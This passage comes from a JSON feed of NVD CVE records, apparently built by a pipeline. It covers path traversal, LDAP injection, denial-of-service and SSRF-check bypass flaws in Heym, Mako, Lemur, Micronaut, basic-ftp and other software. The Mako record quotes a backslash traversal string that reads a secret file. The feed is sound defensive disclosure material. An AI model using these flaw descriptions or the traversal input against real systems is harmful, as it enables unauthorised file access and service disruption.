2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45225","cveId":"CVE-2026-45225","aliases":[],"kind":"vulnerability","title":"Heym before 0.0.21 contains a path traversal vulnerability in the file upload endpoint that allows authenticated users to write attacker-controlled files to arbitrary locations by...","summary":"Heym before 0.0.21 contains a path traversal vulnerability in the file upload endpoint that allows authenticated users to write attacker-controlled files to arbitrary locations by supplying a crafted filename with traversal sequences. Attackers can exploit the unvalidated filename parameter in the upload_file() handler to bypass path restrictions and write, read, or delete files outside the intended storage directory.","detail":"Heym before 0.0.21 contains a path traversal vulnerability in the file upload endpoint that allows authenticated users to write attacker-controlled files to arbitrary locations by supplying a crafted filename with traversal sequences. Attackers can exploit the unvalidated filename parameter in the upload_file() handler to bypass path restrictions and write, read, or delete files outside the intended storage directory.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:37.990Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45225","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45225","type":"primary","publishedAt":"2026-05-12T22:16:37.990Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44307","cveId":"CVE-2026-44307","aliases":[],"kind":"vulnerability","title":"Mako is a template library written in Python.","summary":"Mako is a template library written in Python. Prior to 1.3.12, on Windows, a URI using backslash traversal (e.g. \\..\\..\\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory. This vulnerability is fixed in 1.3.12.","detail":"Mako is a template library written in Python. Prior to 1.3.12, on Windows, a URI using backslash traversal (e.g. \\..\\..\\ secret.txt) bypasses the directory traversal check in Template.__init__ and the posixpath-based normalization in TemplateLookup.get_template(), allowing reads of files outside the configured template directory. This vulnerability is fixed in 1.3.12.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:37.567Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44307","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44307","type":"primary","publishedAt":"2026-05-12T22:16:37.567Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44304","cveId":"CVE-2026-44304","aliases":[],"kind":"vulnerability","title":"Lemur manages TLS certificate creation.","summary":"Lemur manages TLS certificate creation. Prior to 1.9.0, Lemur's LDAP authentication module (lemur/auth/ldap.py) constructs LDAP search filters using unsanitized user input via Python string interpolation. An authenticated LDAP user can inject LDAP filter metacharacters through the username field to manipulate group membership queries and escalate their privileges to administrator. This vulnerability is fixed in 1.9.0.","detail":"Lemur manages TLS certificate creation. Prior to 1.9.0, Lemur's LDAP authentication module (lemur/auth/ldap.py) constructs LDAP search filters using unsanitized user input via Python string interpolation. An authenticated LDAP user can inject LDAP filter metacharacters through the username field to manipulate group membership queries and escalate their privileges to administrator. This vulnerability is fixed in 1.9.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:37.140Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44304","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44304","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44304","type":"primary","publishedAt":"2026-05-12T22:16:37.140Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44302","cveId":"CVE-2026-44302","aliases":[],"kind":"vulnerability","title":"Snappier is a high performance C# implementation of the Snappy compression algorithm.","summary":"Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.","detail":"Snappier is a high performance C# implementation of the Snappy compression algorithm. Prior to 1.3.1, Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes. This vulnerability is fixed in 1.3.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:36.997Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44302","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44302","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44302","type":"primary","publishedAt":"2026-05-12T22:16:36.997Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44260","cveId":"CVE-2026-44260","aliases":[],"kind":"vulnerability","title":"efw4.X is an Enterprise Framework for Web.","summary":"efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the readonly flag set on the <efw:elFinder> JSP tag is intended to prevent file modifications. When protected=true, elfinder_checkRisk enforces that the client sends readonly=true (matching the session value), but no event handler checks the readonly value before performing write operations. The flag only controls client-side UI elements (disabling buttons) and response metadata (write: 0, locked: 1). An attacker who sends requests directly (bypassing the UI) can perform all file operations despite readonly=true. This vulnerability is fixed in 4.08.010.","detail":"efw4.X is an Enterprise Framework for Web. Prior to 4.08.010, the readonly flag set on the <efw:elFinder> JSP tag is intended to prevent file modifications. When protected=true, elfinder_checkRisk enforces that the client sends readonly=true (matching the session value), but no event handler checks the readonly value before performing write operations. The flag only controls client-side UI elements (disabling buttons) and response metadata (write: 0, locked: 1). An attacker who sends requests directly (bypassing the UI) can perform all file operations despite readonly=true. This vulnerability is fixed in 4.08.010.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:36.417Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44260","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44260","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44260","type":"primary","publishedAt":"2026-05-12T22:16:36.417Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44241","cveId":"CVE-2026-44241","aliases":[],"kind":"vulnerability","title":"Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications.","summary":"Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications. From 4.3.0 to before 4.10.22, 3.10.6, and 3.8.14, TimeConverterRegistrar caches DateTimeFormatter instances in an unbounded ConcurrentHashMap<String, DateTimeFormatter> whose key is derived from the @Format annotation pattern concatenated with the locale from the HTTP Accept-Language header. Because Locale.forLanguageTag() accepts arbitrary BCP 47 private-use extensions (en-x-a001, en-x-a002, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This vulnerability is fixed in 4.10.22, 3.10.6, and 3.8.14.","detail":"Micronaut Framework is a JVM-based full stack Java framework designed for building modular, easily testable JVM applications. From 4.3.0 to before 4.10.22, 3.10.6, and 3.8.14, TimeConverterRegistrar caches DateTimeFormatter instances in an unbounded ConcurrentHashMap<String, DateTimeFormatter> whose key is derived from the @Format annotation pattern concatenated with the locale from the HTTP Accept-Language header. Because Locale.forLanguageTag() accepts arbitrary BCP 47 private-use extensions (en-x-a001, en-x-a002, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This vulnerability is fixed in 4.10.22, 3.10.6, and 3.8.14.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:35.473Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44241","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44241","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44241","type":"primary","publishedAt":"2026-05-12T22:16:35.473Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42544","cveId":"CVE-2026-42544","aliases":[],"kind":"vulnerability","title":"Granian is a Rust HTTP server for Python applications.","summary":"Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.","detail":"Granian is a Rust HTTP server for Python applications. From 1.2.0 to 2.7.4, Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes. The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked. This vulnerability is fixed in 2.7.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:34.467Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Python"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42544","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42544","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42544","type":"primary","publishedAt":"2026-05-12T22:16:34.467Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-26289","cveId":"CVE-2026-26289","aliases":[],"kind":"vulnerability","title":"PowerSYSTEM Center REST API endpoint for device account export allows an authenticated user with limited permissions to expose sensitive information normally restricted to...","summary":"PowerSYSTEM Center REST API endpoint for device account export allows an authenticated user with limited permissions to expose sensitive information normally restricted to administrative permissions only.","detail":"PowerSYSTEM Center REST API endpoint for device account export allows an authenticated user with limited permissions to expose sensitive information normally restricted to administrative permissions only.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T22:16:32.823Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26289","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-26289","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26289","type":"primary","publishedAt":"2026-05-12T22:16:32.823Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44240","cveId":"CVE-2026-44240","aliases":[],"kind":"vulnerability","title":"basic-ftp is an FTP client for Node.js.","summary":"basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.","detail":"basic-ftp is an FTP client for Node.js. Prior to 5.3.1, basic-ftp is vulnerable to client-side denial of service when parsing FTP control-channel multiline responses. A malicious or compromised FTP server can send an unterminated multiline response during the initial FTP banner phase, before authentication. The client keeps appending attacker-controlled data into FtpContext._partialResponse and repeatedly reparses the accumulated buffer without enforcing a maximum control response size. As a result, an application using basic-ftp can remain stuck in connect() while memory and CPU usage grow under attacker-controlled input. This can lead to process-level denial of service, container OOM kills, worker restarts, queue backlog, or service degradation in applications that automatically connect to FTP endpoints. This vulnerability is fixed in 5.3.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T21:16:16.410Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44240","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44240","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44240","type":"primary","publishedAt":"2026-05-12T21:16:16.410Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44232","cveId":"CVE-2026-44232","aliases":[],"kind":"vulnerability","title":"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks.","summary":"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.3, every IPv6 category bypasses is_url_safe. This vulnerability is fixed in 1.0.3.","detail":"DSSRF is a Node.js library that provides a wide range of utilities and advanced SSRF defense checks. Prior to 1.0.3, every IPv6 category bypasses is_url_safe. This vulnerability is fixed in 1.0.3.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T21:16:16.270Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44232","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44232","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44232","type":"primary","publishedAt":"2026-05-12T21:16:16.270Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 